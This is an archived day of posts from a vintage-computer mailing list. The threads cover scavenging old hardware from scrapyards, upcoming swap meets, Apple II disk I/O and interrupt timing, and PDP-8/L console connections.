if you can look in any old trucks sitting around the scrap > places. I did that yesterday and was told yes, but that it only contained > junk. I looked anyway and found two Apple Lisas, three Lisa keyboards, a > Profile hard drive and a NIB Apple MODEM. Also found and brought home a > Beehive MicroB terminal in it's orginal box. > > Oh! I also found a pile of Cromemco terminals and printers (3102s and > 3715s?) in the same truck. Are these worth picking up? > > Joe > From xds_sigma7 at hotmail.com Thu May 18 10:02:00 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:46 2005 Subject: Univac Lamp interesting piece Message-ID: <20000518150201.97417.qmail@hotmail.com> Though the typing and CAPITIALIZATION done by said seller makes me want to beat myself with a shovel, they are a really great person to do business with, one of the most nice and understanding ones I've seen to be sure.. Not to be making an ebay plug, but I guess the old "don't judge a book by its cover" comes in here... Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From foo at siconic.com Thu May 18 09:09:08 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:46 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <3.0.1.16.20000518083108.09b7e53a@mailhost.intellistar.net> Message-ID: On Thu, 18 May 2000, Joe wrote: > Also ask if you can look in any old trucks sitting around the scrap > places. I did that yesterday and was told yes, but that it only contained > junk. I looked anyway and found two Apple Lisas, three Lisa keyboards, a > Profile hard drive and a NIB Apple MODEM. Also found and brought home a > Beehive MicroB terminal in it's orginal box. > > Oh! I also found a pile of Cromemco terminals and printers (3102s and > 3715s?) in the same truck. Are these worth picking up? What kind of truck is this? It sounds like a classic computer cornucopia. Did this truck get into some accident on the way to the computer store or something? From CLASSICCMP at trailing-edge.com Thu May 18 10:15:34 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:46 2005 Subject: Cromemco ?? Message-ID: <000518111534.202001d4@trailing-edge.com> > Are there any Crommeco experts out there? I have a couple of questiosn >about the Cromemco terminals and printers. I've got several thousand pages of Cromemco documentation here at the moment, mostly on their S-100 boards and software packages, and a little on terminals and printers. Which terminals and printers are you interested in? Tim. From jimw at agora.rdrop.com Thu May 18 10:22:35 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:51:46 2005 Subject: Just when you thought it was safe... In-Reply-To: <4.3.0.20000518082804.00e72e60@pc> Message-ID: ... it is that time of year yet again! The n'th twice-annual (and first of the new millennium) CP/M Users Group NorthWest Swap Meet is almost upon us! Date: 10-June-2000 (Saturday) Place: Tigard Senior Center - Tigard, Oregon Time: 9am to 2pm (official) 7am to whenever (realistically) Worth it? Well, yes there is a lot of 'PC' junk running around... but at the last meet was seen a nearly pristine AIM-65 in ORIGINAL box with all ORIGINAL docs! (even the original sales receipt) And other amazingly classic items for nabbing! So... you decide! (I know who got it... and I'm not telling!) ...and if you are worried about a possible lack of classic goodies... BRING SOME! Why the "n'th"? - Well... it's been so long since I (co-)founded the group, we have all long ago lost count... Better directions: Soon to come... Would GPS coordinates help for the true tech-heads amoungst us? Be there or be asymmetrically non-orthagonal! -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From dlw at trailingedge.com Thu May 18 11:06:18 2000 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: References: <200005180239.WAA05469@lexington.ioa.net> Message-ID: <3923CEAA.27410.7B8941@localhost> On 17 May 2000, at 20:59, Vintage Computer GAWD! wrote: > Sounds familiar. Didn't they also write DOS for the Apple ][? I've > heard the names before (Sheperdson and OSS) but can't quite place what > products I associate with them. I know there was a company that > developed primarily for the Atari but also did Apple DOS. I have > their website linked from the VCF links page but am too lazy to go > looking. Yes, they wrote the original DOS for the Apple II. Then went on to do Atari BASIC and Atari DOS and many other pieces of software for Atari. I also have a copy of CP/A+ which is an Apple II OS they wrote which is very similar to their OS/A+ for the Atari. I've always had a thing for collecting odd-ball operating systems. ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From korpela at albert.ssl.berkeley.edu Thu May 18 11:28:24 2000 From: korpela at albert.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <001901bfc0ca$7e521aa0$0400c0a8@winbook> from Richard Erlacher at "May 18, 2000 07:10:47 am" Message-ID: <200005181628.JAA12478@islay.ssl.berkeley.edu> > You may find that your multitasking effort works better if you don't accept > a time-slice when it's offered unless you're ready for it. Many times > (particularly with the rather slow disk I/O, etc) you are I/O bound or > waiting for another process to complete, it's better all around if you give > back the time-slice if you can't use it. If the time slice is small (e.g. > 1/60 sec or so) it won't matter so much, but if it's long, i.e. 1/10 sec, or > so, you may want to avoid wasting it. I don't think this is particularly a problem on the Apple ][ series. IIRC, all I/O is CPU intensive, so giving up the CPU during I/O will likely cause the I/O to fail. Am I getting old? The details of the Disk ][ interface are only faintly registering on my brain. Wasn't the input a bit at a time with a software wait between bits, or am I confusing that with the tape interface with its half-hardware/half-software 1-bit ADC? Of course, none of this is a concern with cooperative multitasking of BASIC programs but if someone implements an interupt generator on a ][ for multitasking purposes, it could become a concern. Eric From foo at siconic.com Thu May 18 10:40:44 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <3923CEAA.27410.7B8941@localhost> Message-ID: On Thu, 18 May 2000, David Williams wrote: > for Atari. I also have a copy of CP/A+ which is an Apple II OS they > wrote which is very similar to their OS/A+ for the Atari. I've always Ooh! I'd love to get a copy of that! Can you ShrinkIt and e-mail it to me?? From allisonp at world.std.com Thu May 18 11:41:32 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005181325.JAA32434@armigeron.com> Message-ID: > Generally in a multitasking system with timeslicing, there are two queues > (or lists)---one for processes that are running, and another one for > processes that are waiting for something (usually I/O to complete). The > code that manages the tasks take the next task on the run queue and > dispatch it. That is one way. the other is one task list with a bitwise flag indicating that tasks status. A task is removed from the list when complete and entered on the list at startup. The first(or last) task on the list is one permanent one usually a null task. The priority can be stored in the tasklist as well (if not round robin). I did this on my first z80 multitasking system. The task list included queued IO as well so that things like testing to see if a task could continue from a blocked-IO state was possible. Allison From allisonp at world.std.com Thu May 18 11:52:36 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005181628.JAA12478@islay.ssl.berkeley.edu> Message-ID: > I don't think this is particularly a problem on the Apple ][ series. IIRC, > all I/O is CPU intensive, so giving up the CPU during I/O will likely cause > the I/O to fail. Am I getting old? The details of the Disk ][ interface > are only faintly registering on my brain. Wasn't the input a bit at a time > with a software wait between bits, or am I confusing that with the tape > interface with its half-hardware/half-software 1-bit ADC? Common thing with apples, many other systems that were minimalist too. Obviously for those and a great many others part of timeslicing has to be doing IO (aka an IO timeslice). This can seriously hurt system performance as you really get to see howmuch cpu is used in isolation from all the pending tasks. > Of course, none of this is a concern with cooperative multitasking of BASIC > programs but if someone implements an interupt generator on a ][ for > multitasking purposes, it could become a concern. Big time. ;) Generally what seperated the generic systems of the time from those that could do serious workloads was the needed hardware support for interrupts. With even a basic periodic interrupt it was possible to do background tasks (keyboard scan, serial IO) that didn't appear to need to wait for the application. To me one of the most annoying this was waiting for it to ask for input but not accept type ahead! Allison From Innfogra at aol.com Thu May 18 12:11:12 2000 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:51:46 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <7c.5b04ead.26557e30@aol.com> In a message dated 5/18/2000 8:15:03 AM Pacific Daylight Time, foo@siconic.com writes: > > What kind of truck is this? It sounds like a classic computer cornucopia. > Did this truck get into some accident on the way to the computer store or > something? > Trucks, Trailers and outbuildings are always around scrapyards. They often get filled with "low value" scrap items "junk" that the yard owner doesn't want to deal with when they come in, like terminals and printers. Some times those piles sit for years. Investigate all Shipping Containers. Sometimes they are used for storage, but most of the time they are being filled with outgoing scrap on it's way to China. If you can be there with your screwdrivers when it is being loaded sometimes you can find neat stuff. You don't want to get in the way of the loading operation, but if you have developed a relationship with the scrapper you can often cull as it is being loaded. Adopt your local scrapper. Offer twice the scrap value or more, don't get in the way and you will be, more than likely, welcome. Paxton PS. Most of the scrap going into containers brings 5 to 10 cents per pound to the dealer loading it. From rutledge at cx47646-a.phnx1.az.home.com Thu May 18 12:27:15 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:51:46 2005 Subject: Just when you thought it was safe... In-Reply-To: ; from James Willing on Thu, May 18, 2000 at 08:22:35AM -0700 References: <4.3.0.20000518082804.00e72e60@pc> Message-ID: <20000518102715.B12222@electron.quantum.int> On Thu, May 18, 2000 at 08:22:35AM -0700, James Willing wrote: > Be there or be asymmetrically non-orthagonal! Oh, so people who do not go are not square, so people who go are...ummm... what? :-) Round? At a hamfest, I imagine so. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From lemay at cs.umn.edu Thu May 18 12:32:34 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:46 2005 Subject: PDP 8/L console Message-ID: <200005181732.MAA06704@caesar.cs.umn.edu> My PDP 8/L that I recently acquired, has a cable that i assume is for the console terminal. It has a 9 pin male connector with only pins 1 through 6 present. Is this a standard serial connection? This was a papertape based system, so it may have been connected to a teletype ASR 33. Will I need to locate something that can do 110 baud to use as a console? Also, I'm very curious about the other cables comming from the 8/L... I have 6 flat black cables, similar to ribbon cable but thicker, with 9 'wires' on each cable. possibly each 'wire' is something similar to coax, but i'm not sure... Each pair of these ribbon-like cables go together into a centronics 36 pin male connector. thus there are 3 centronics connectors, which are labeled: "A D36", "B D35", "C D34". Any clues as to what this might be for? -Lawrence LeMay From ard at p850ug1.demon.co.uk Thu May 18 12:33:27 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:46 2005 Subject: Univac Lamp interesting piece In-Reply-To: <000401bfc077$05e18450$013da8c0@Corellian> from "John Lewczyk" at May 17, 0 11:13:22 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 431 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000518/15392e19/attachment.ksh From dlw at trailingedge.com Thu May 18 12:40:42 2000 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: References: <3923CEAA.27410.7B8941@localhost> Message-ID: <3923E4CA.9143.D1F90E@localhost> On 18 May 2000, at 8:40, Vintage Computer GAWD! wrote: > On Thu, 18 May 2000, David Williams wrote: > > > for Atari. I also have a copy of CP/A+ which is an Apple II OS they > > wrote which is very similar to their OS/A+ for the Atari. I've > > always > > Ooh! I'd love to get a copy of that! Can you ShrinkIt and e-mail it > to me?? > I'll see about digging it up. Since the Apple II was one of my favorites I tend to have all of my Apple stuff at home unlike some of my systems which are in storage. I can ShrinkIt but not the manuals of course. I have been thinking of scanning them though. IIRC, it came with a version of BASIC based on the version they wrote for the Atari. It might be 13 sector though, I don't recall. I'll let you know. Wait... I seem to recall it used a different layout than Apple DOS, more like the system used with the Atari DOS. 128 byte sectors as such. I also had the Apex OS with the XPL0 language. Never did get a copy of the version of Focal for Apex but I wanted it. That was 13 sector when I picked it up but I was able to hack together a 16 sector version. ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From ard at p850ug1.demon.co.uk Thu May 18 12:45:20 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:46 2005 Subject: PDP 8/L console In-Reply-To: <200005181732.MAA06704@caesar.cs.umn.edu> from "Lawrence LeMay" at May 18, 0 12:32:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 885 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000518/99d98d8a/attachment.ksh From foo at siconic.com Thu May 18 12:01:23 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005181628.JAA12478@islay.ssl.berkeley.edu> Message-ID: On Thu, 18 May 2000, Eric J. Korpela wrote: > I don't think this is particularly a problem on the Apple ][ series. IIRC, > all I/O is CPU intensive, so giving up the CPU during I/O will likely cause > the I/O to fail. Am I getting old? The details of the Disk ][ interface > are only faintly registering on my brain. Wasn't the input a bit at a time > with a software wait between bits, or am I confusing that with the tape > interface with its half-hardware/half-software 1-bit ADC? Woz basically left a lot to software. He figured if anything could be done in software then thjere was no need to implement it in hardware. As such, the disk reads & writes are very CPU intensive. > Of course, none of this is a concern with cooperative multitasking of BASIC > programs but if someone implements an interupt generator on a ][ for > multitasking purposes, it could become a concern. Very much so. In fact it would turn this whole exercise into work, which is not fun. From paulrsm at ameritech.net Thu May 18 13:25:21 2000 From: paulrsm at ameritech.net (Paul R. Santa-Maria) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before Message-ID: <20000518182614.SRUT6794.mailhost.kal.ameritech.net@paulrsm> ---------- > From: Eric J. Korpela > To: classiccmp@classiccmp.org > Subject: Re: Cool AppleSoft BASIC trick I never thought of before > Date: Thursday, May 18, 2000 12:28 PM > > Of course, none of this is a concern with cooperative multitasking of BASIC > programs but if someone implements an interupt generator on a ][ for > multitasking purposes, it could become a concern. Someone did. The GEOS system came with a board that generated interrupts that you could use if you did not have an Apple II mouse card to generate the interrupts. Another interrupt generator could be a clock card. Paul R. Santa-Maria Ann Arbor, Michigan USA paulrsm@ameritech.net From ethan_dicks at yahoo.com Thu May 18 13:27:27 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:46 2005 Subject: Dayton Hamvention? Message-ID: <20000518182727.19634.qmail@web617.mail.yahoo.com> I had meant to put this up earlier this month, but better late than never. Is anyone here planning on being at the Dayton Hamvention? It is this weekend (I'll be there Friday at 08:00 if I can help it). If yes, please write me off-line and maybe we can make arrangements to have a classiccmp get-together. My memories of this question from last year was a collective and deafening "No". -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From dlinder at uiuc.edu Thu May 18 13:47:55 2000 From: dlinder at uiuc.edu (Dan Linder) Date: Sun Feb 27 18:51:46 2005 Subject: WTD: HP9000/735 Ethernet Board In-Reply-To: <3923080D.D72ECC93@cornell.edu> Message-ID: On Wed, 17 May 2000, Carlos Murillo-Sanchez wrote: > hmmm... 735's have a big multiple jumper for selecting either > the AUI or BNC connectors; was this jumper set properly? > All network cards for the 735 that I know have both BNC > and AUI (except, of course for the FDDI card). > > BTW, nice machine he got. I have several. What he's looking for is the small module that fits the main system board, not an EISA adapter. These little modules seem to come either as AUI or Thin, but not a combination. thanks for your input... - Dan Linder / dlinder@uiuc.edu / upside@mcs.net - - Riot sounds start riots. / keep talking... - From technoid at cheta.net Thu May 18 14:08:23 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:51:46 2005 Subject: Ed at CPB will be at Dayton send requests to EDCPB@email.com In-Reply-To: <20000518182727.19634.qmail@web617.mail.yahoo.com> Message-ID: <200005181906.PAA26225@lexington.ioa.net> Ed Kirby of Computer Parts Barn will be at the Dayton Hamfest. Send requests to EdCPB@email.com if you are going to be there and have a particular need. -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From technoid at cheta.net Thu May 18 14:54:40 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005181628.JAA12478@islay.ssl.berkeley.edu> Message-ID: <200005181959.PAA09093@lexington.ioa.net> Most other-than-IO functions performed during I/O such as graphics, sound, etcetera on the Atari 8-bits utilized the fact that for 1 60th of a second the screen is not painted. While the 'vertical blank' was occurring you had several cpu cycles available. If you wrote very tight code you could do a lot in those few cycles. On the Atari this was accomplished by GTIA 'display lists' which are programs for the GTIA coprocessor. Can the Apple II be convinced to perform this feat? I have allways wondered but not passionatly enough to investigate about the Apple II series i/o scheme. In <200005181628.JAA12478@islay.ssl.berkeley.edu>, on 05/18/00 at 03:54 PM, "Eric J. Korpela" said: >I don't think this is particularly a problem on the Apple ][ series. >IIRC, all I/O is CPU intensive, so giving up the CPU during I/O will >likely cause the I/O to fail. Am I getting old? The details of the Disk >][ interface >are only faintly registering on my brain. Wasn't the input a bit at a >time with a software wait between bits, or am I confusing that with the >tape interface with its half-hardware/half-software 1-bit ADC? >Of course, none of this is a concern with cooperative multitasking of >BASIC programs but if someone implements an interupt generator on a ][ >for multitasking purposes, it could become a concern. >Eric -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From rigdonj at intellistar.net Thu May 18 15:12:58 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:46 2005 Subject: FA: Apple Lisa and extra Lisa keyboard Message-ID: <3.0.1.16.20000518151258.0ed70646@mailhost.intellistar.net> FS: An extra Apple Lisa that I picked up yesterday. Also see "seller's other auctions" for an extra keyboard for a Lisa. "http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=335880842". From rigdonj at intellistar.net Thu May 18 15:27:31 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:46 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <7c.5b04ead.26557e30@aol.com> Message-ID: <3.0.1.16.20000518152731.458f0520@mailhost.intellistar.net> At 01:11 PM 5/18/00 EDT, you wrote: >In a message dated 5/18/2000 8:15:03 AM Pacific Daylight Time, >foo@siconic.com writes: > >> >> What kind of truck is this? It sounds like a classic computer cornucopia. >> Did this truck get into some accident on the way to the computer store or >> something? >> I missed the posting above. No, it was being used for temporary storage. I think the stuff was going to be hauled to a dump somewhere. >Trucks, Trailers and outbuildings are always around scrapyards. They often >get filled with "low value" scrap items "junk" that the yard owner doesn't >want to deal with when they come in, like terminals and printers. Some times >those piles sit for years. Yeap, that's where you find the "good" stuff. But the owners usually think that it's junk. > >Investigate all Shipping Containers. Sometimes they are used for storage, but >most of the time they are being filled with outgoing scrap on it's way to >China. If you can be there with your screwdrivers when it is being loaded >sometimes you can find neat stuff. You don't want to get in the way of the >loading operation, but if you have developed a relationship with the scrapper >you can often cull as it is being loaded. > >Adopt your local scrapper. Offer twice the scrap value or more, don't get in >the way and you will be, more than likely, welcome. > >Paxton > >PS. Most of the scrap going into containers brings 5 to 10 cents per pound to >the dealer loading it. > One of the locals gets 13 cents/pound from the Chinese. I usually pay him 30 cents/pound. That may be high but he's starting to look for stuff especially for me. Joe From lemay at cs.umn.edu Thu May 18 15:20:05 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:46 2005 Subject: PDP 8/L console In-Reply-To: from Tony Duell at "May 18, 2000 06:45:20 pm" Message-ID: <200005182020.PAA10184@caesar.cs.umn.edu> > > > > My PDP 8/L that I recently acquired, has a cable that i assume is for > > the console terminal. It has a 9 pin male connector with only pins > > 1 through 6 present. Is this a standard serial connection? This was > > What sort of connector? A DB-9 connector, but it doesnt have the 2 screws to fasten the connectors together, instead it looks like a centronics type fastening system, you know, where there would be a pair of bent-wire connectors that would snap onto a piece of metal with a V shaped notch cut, this Db-9 has those V notches on each end. Otherwise, its a standard DB-9 male connector. I snapped a couple pictures just now, take a look at http://www.itlabs.umn.edu/~lemay/pdp8l Yes, I know the front panel is a bit dirty... I just turned it on for the first time, and I'm letting it settle in. I know it has one somewhat flakey capacitor, so I'm taking it slowly at first, best to be paranoid about the power-on power surge Before you blow out the power supply, than afterwards ;) > > Most likely on a machine of that vintage, it will be a 20mA current loop. > 6 wires sounds like 3 loops -- transmit (from Teletype -> PDP8), Receive > (PDP8->tty) and reader run (PDP8->tty, turns on a relay to start the > paper tape reader, which means the system can do a primitive form of flow > control). > > The standard DEC current loop connector was a flat 8 pin mate-n-lock with > the outside 2 pins not used. The 3 loops were as above. > > > a papertape based system, so it may have been connected to a teletype > > ASR 33. Will I need to locate something that can do 110 baud to use > > as a console? > > Most likely it is 110 baud as well... > > -tony > From mikeford at socal.rr.com Thu May 18 14:57:10 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:46 2005 Subject: Finding Vintage Computers - Pomona CAL In-Reply-To: <3.0.1.16.20000518083108.09b7e53a@mailhost.intellistar.net> References: <001601bfc017$81217ea0$0200a8c0@marvin> Message-ID: Just a reminder, the hamfest at Cal Poly Pomona is Saturday. http://www.qsl.net/k6agf/tcswap.html From mikeford at socal.rr.com Thu May 18 15:04:58 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:46 2005 Subject: Univac Lamp interesting piece In-Reply-To: <4.3.0.20000518082804.00e72e60@pc> References: <000401bfc077$05e18450$013da8c0@Corellian> <200005180239.WAA05469@lexington.ioa.net> Message-ID: >At 11:13 PM 5/17/00 -0400, John Lewczyk wrote: >>Even though its on epay and the reserve is $10K, this *is* an >>interesting piece. > >And the seller has those charming qualities of only being able >to type in upper case, sprinkled with spelling errors. I guess >the $10,000 price is based on a 2/3 reduction of the "former >shipping supervisor for Univac," who estimated the original >cost of goods used to construct the lamp. > >www.sanfordandson.com, indeed! > >- John That sure sounds like Barry Goetz, and he is VERY serious about his "art". From xds_sigma7 at hotmail.com Thu May 18 15:44:56 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:46 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <20000518204456.70983.qmail@hotmail.com> Umm does this mean that I get a good deal from the 55 to 60 cents a pound the scrapper I go to gives me for circut boards? Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From mikeford at socal.rr.com Thu May 18 15:39:56 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:46 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <7c.5b04ead.26557e30@aol.com> Message-ID: >PS. Most of the scrap going into containers brings 5 to 10 cents per pound to >the dealer loading it. Just don't expect any of them to admit that. Straight to my face I've been told $1.50/lb for whole computer chassis. My guess is that they are getting a bit more than 10 cents though, as the last batch of "breakage" I sold to a scrapper I got 10 cents a pound for. That first transaction you make with a scrapper often drives me batty, as it sets the precedent for all future transactions. From mikeford at socal.rr.com Thu May 18 16:17:53 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:46 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <20000518204456.70983.qmail@hotmail.com> Message-ID: >Umm does this mean that I get a good deal from the 55 to 60 cents a pound >the scrapper I go to gives me for circut boards? Depends on whats on the boards. I got 40 cents for the last batch of mac II mother boards mixed with misc defectives. One of my friends got close to $1.50 for a batch of ex aerospace stuff full of neat chips etc. Anything with Weitek on it and the scrappers eyes light up. From pechter at pechter.dyndns.org Thu May 18 16:41:35 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:46 2005 Subject: WTD: HP9000/735 Ethernet Board In-Reply-To: from Dan Linder at "May 18, 2000 01:47:55 pm" Message-ID: <200005182141.RAA01388@bg-tc-ppp819.monmouth.com> > On Wed, 17 May 2000, Carlos Murillo-Sanchez wrote: > > > hmmm... 735's have a big multiple jumper for selecting either > > the AUI or BNC connectors; was this jumper set properly? > > All network cards for the 735 that I know have both BNC > > and AUI (except, of course for the FDDI card). > > > > BTW, nice machine he got. I have several. > > What he's looking for is the small module that fits the main system board, > not an EISA adapter. These little modules seem to come either as AUI or > Thin, but not a combination. > > thanks for your input... > > > - Dan Linder / dlinder@uiuc.edu / upside@mcs.net - > - Riot sounds start riots. / keep talking... - Is this a network transceiver he's talking about -- or an add-in module. The 755's I had used an EISA card and adapter for second ethernet. The 735's I've seen seem to have the network adapter on the motherboard (I thought). Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From foo at siconic.com Thu May 18 15:48:19 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005181959.PAA09093@lexington.ioa.net> Message-ID: On Thu, 18 May 2000 technoid@cheta.net wrote: > Most other-than-IO functions performed during I/O such as graphics, sound, > etcetera on the Atari 8-bits utilized the fact that for 1 60th of a second > the screen is not painted. While the 'vertical blank' was occurring you > had several cpu cycles available. If you wrote very tight code you could > do a lot in those few cycles. On the Atari this was accomplished by GTIA > 'display lists' which are programs for the GTIA coprocessor. > > Can the Apple II be convinced to perform this feat? I have allways > wondered but not passionatly enough to investigate about the Apple II > series i/o scheme. The Apple ][ has an address that you can monitor that tells you when it's in the vertical blanking interval. People have done some neat stuff by timing their code around the interval, such as mixing all three graphics modes (text, lo-res and hi-res) on the same screen. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From ard at p850ug1.demon.co.uk Thu May 18 17:04:34 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:46 2005 Subject: PDP 8/L console In-Reply-To: <200005182020.PAA10184@caesar.cs.umn.edu> from "Lawrence LeMay" at May 18, 0 03:20:05 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2202 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000518/dcbe5eb9/attachment.ksh From korpela at albert.ssl.berkeley.edu Thu May 18 17:11:06 2000 From: korpela at albert.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005181959.PAA09093@lexington.ioa.net> from "technoid@cheta.net" at "May 18, 2000 03:54:40 pm" Message-ID: <200005182211.PAA13479@islay.ssl.berkeley.edu> > Most other-than-IO functions performed during I/O such as graphics, sound, > etcetera on the Atari 8-bits utilized the fact that for 1 60th of a second > the screen is not painted. While the 'vertical blank' was occurring you > had several cpu cycles available. If you wrote very tight code you could > do a lot in those few cycles. On the Atari this was accomplished by GTIA > 'display lists' which are programs for the GTIA coprocessor. Apple interleaved graphics output (and DRAM refresh) with CPU cycles. This works because the 6502 only performs memory accesses at very predictable times. So there are no vertical (or horizontal) blank intervals in which the CPU is not doing something else. > Can the Apple II be convinced to perform this feat? I have allways > wondered but not passionatly enough to investigate about the Apple II > series i/o scheme. In the case of disk and tape I/O, the Apple ][ is heavily dependent on instruction timing. What it comes down to, is that no interrupts can be allowed while a disk block read/write or any portion of a tape read/write is happening. It also means that a multitasking OS can't block on I/O the way a system that supported interupt driven port I/O or DMA could. I assume that this was fixed somewhere in the Apple ][ line. Perhaps in Unidisk type controllers? Eric From foo at siconic.com Thu May 18 16:44:30 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005182211.PAA13479@islay.ssl.berkeley.edu> Message-ID: On Thu, 18 May 2000, Eric J. Korpela wrote: > In the case of disk and tape I/O, the Apple ][ is heavily dependent on > instruction timing. What it comes down to, is that no interrupts can be > allowed while a disk block read/write or any portion of a tape read/write > is happening. It also means that a multitasking OS can't block on I/O the > way a system that supported interupt driven port I/O or DMA could. > > I assume that this was fixed somewhere in the Apple ][ line. Perhaps in > Unidisk type controllers? There was never really anything to "fix". You just don't interrupt the Apple when it's reading or writing to disk. The regular IRQ signal is turned off before a read or write with the SEI and CLI instructions. But there's no way to disable the Non Maskable Interrupt, which some hardware copy protection cracking aids gave you access to. Unless these cards did something to specifically avoid interrupting during a disk write (I always wanted one but never got around to getting one during their heyday) the results would be unpredictable. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From cmcmanis at mcmanis.com Thu May 18 17:58:14 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:46 2005 Subject: PDP 8/L console In-Reply-To: <200005182020.PAA10184@caesar.cs.umn.edu> References: Message-ID: <4.1.20000518155655.03c7a2f0@mailhost.hq.freegate.com> The centronics things are connectors to the expansion bus, I believe there should be four of them (one per OMNIBUS connector). The CPU is just that, the CPU, and then there would be another box with the peripherals in it. --Chuck From rigdonj at intellistar.net Thu May 18 18:55:42 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:46 2005 Subject: rescued a beehive! Message-ID: 